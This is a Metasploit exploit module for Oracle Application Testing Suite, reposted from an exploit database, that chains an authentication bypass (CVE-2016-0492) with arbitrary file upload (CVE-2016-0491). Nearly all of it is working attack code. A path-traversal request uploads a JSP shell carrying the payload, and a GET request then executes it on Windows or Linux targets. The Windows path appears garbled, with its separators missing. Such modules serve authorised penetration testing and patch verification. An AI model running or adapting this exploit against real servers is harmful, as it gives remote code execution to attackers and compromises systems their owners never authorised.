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# Oracle ATS Arbitrary File Upload Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle ATS Arbitrary File Upload',
'Description' => %q{
This module exploits an authentication bypass and arbitrary file upload
in Oracle Application Testing Suite (OATS), version 12.4.0.2.0 and
unknown earlier versions, to upload and execute a JSP shell.
},
'Author' => [
'Zhou Yu', # Proof of concept
'wvu' # Metasploit module
],
'References' => [
%w{CVE 2016-0492}, # Auth bypass
%w{CVE 2016-0491}, # File upload
%w{EDB 39691} # PoC
],
'DisclosureDate' => 'Jan 20 2016',
'License' => MSF_LICENSE,
'Platform' => %w{win linux},
'Arch' => ARCH_JAVA,
'Privileged' => true,
'Targets' => [
['OATS <= 12.4.0.2.0 (Windows)', 'Platform' => 'win'],
['OATS <= 12.4.0.2.0 (Linux)', 'Platform' => 'linux']
],
'DefaultTarget' => 0
))

register_options([
Opt::RPORT(8088)
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/admin/Login.do'
)

if res && res.body.include?('12.4.0.2.0')
CheckCode::Appears
else
CheckCode::Safe
end
end

def exploit
print_status("Uploading JSP shell to #{jsp_path}")
upload_jsp_shell
print_status("Executing JSP shell: #{full_uri}olt/pages/#{jsp_filename}")
exec_jsp_shell
end

def upload_jsp_shell
mime = Rex::MIME::Message.new
mime.add_part('.jsp', nil, nil, 'form-data; name="storage.extension"')
mime.add_part(jsp_filename, nil, nil, 'form-data; name="fileName1"')
mime.add_part('', nil, nil, 'form-data; name="fileName2"') # Not needed
mime.add_part('', nil, nil, 'form-data; name="fileName3"') # Not needed
mime.add_part('', nil, nil, 'form-data; name="fileName4"') # Not needed
mime.add_part('*', nil, nil, 'form-data; name="fileType"')
mime.add_part(payload.encoded, 'text/plain', nil,
%Q{form-data; name="file1"; filename="#{jsp_filename}"})
mime.add_part('Default', nil, nil, 'form-data; name="storage.repository"')
mime.add_part('.', nil, nil, 'form-data; name="storage.workspace"')
mime.add_part(jsp_directory, nil, nil, 'form-data; name="directory"')

register_files_for_cleanup(jsp_path)

send_request_cgi(
'method' => 'POST',
'uri' => '/olt/Login.do/../../olt/UploadFileUpload.do',
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
end

def exec_jsp_shell
send_request_cgi(
'method' => 'GET',
'uri' => "/olt/pages/#{jsp_filename}"
)
end

def jsp_directory
case target['Platform']
when 'win'
'..oatsserversAdminServertmp_WL_useroats_ee1ryhndwarpages'
when 'linux'
'../oats/servers/AdminServer/tmp/_WL_user/oats_ee/1ryhnd/war/pages'
end
end

def jsp_filename
@jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
end

def jsp_path
jsp_directory + "#{target['Platform'] == 'win' ? '' : '/'}" + jsp_filename
end

end

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# Iranian Exploit DataBase = http://IeDb.Ir [2016-05-27]

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